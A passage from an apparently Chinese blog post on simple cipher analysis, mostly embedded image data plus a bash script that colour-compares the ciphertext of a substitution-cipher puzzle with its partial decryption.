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" alt> 这网站上同时还有一些简单的密码分析 下面是一个替换后上下两行显示明密文通过颜色对比的shell</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment">#rois_yf</span></span><br><span class="line"><span class="comment">##################################################</span></span><br><span class="line"></span><br><span class="line">cipher=<span class="string">"oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?"</span></span><br><span class="line">tranOrl=<span class="string">'yjaqnarikevz'</span></span><br><span class="line">tranRst=<span class="string">'theasemoilwc'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##################################################</span></span><br><span class="line"></span><br><span class="line">echoKnownPlain()</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">#white</span></span><br><span class="line"><span class="built_in">echo</span> -n -e <span class="string">"33\[0m<span class="variable">$133</span>\[0m"</span></span><br><span class="line">&#125;</span><br><span class="line">echoCipher()</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">#red</span></span><br><span class="line"><span class="built_in">echo</span> -n -e <span class="string">"33\[31m<span class="variable">$133</span>\[0m"</span></span><br><span class="line">&#125;</span><br><span class="line">echoUnknownPlain()</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">#blue</span></span><br><span class="line"><span class="built_in">echo</span> -n -e <span class="string">"33\[36m<span class="variable">$133</span>\[0m"</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">plain=\`<span class="built_in">echo</span> <span class="variable">$cipher</span> | tr <span class="variable">$tranOrl</span> <span class="variable">$tranRst</span>\`</span><br><span class="line"></span><br><span class="line">cols=\`tput cols\`</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line">tput cuu 2</span><br><span class="line">tput sc</span><br><span class="line"><span class="keyword">for</span>((i=0;i&lt;<span class="variable">$&#123;#plain&#125;</span>;i++))</span><br><span class="line">&#123;</span><br><span class="line">tput rc</span><br><span class="line">echoCipher <span class="string">"<span class="variable">$&#123;cipher:i:1&#125;</span>"</span></span><br><span class="line">tput sc</span><br><span class="line">tput cud 1</span><br><span class="line">tput cub 1</span><br><span class="line"><span class="keyword">if</span> \[ <span class="string">"<span class="variable">$&#123;plain:i:1&#125;</span>"</span> != <span class="string">"<span class="variable">$&#123;cipher:i:1&#125;</span>"</span> \];</span><br><span class="line"><span class="keyword">then</span></span><br><span class="line">echoKnownPlain <span class="string">"<span class="variable">$&#123;plain:i:1&#125;</span>"</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">echoUnknownPlain <span class="string">"<span class="variable">$&#123;plain:i:1&#125;</span>"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (( $\[<span class="variable">$cols</span>-1\] == $\[<span class="variable">$i</span>%<span class="variable">$cols</span>\] ));</span><br><span class="line"><span class="keyword">then</span></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line">tput cuu 1</span><br><span class="line">tput sc</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">echo</span></span><br></pre></td></tr></table></figure><p>效果如下<img src="data:image/png;base64,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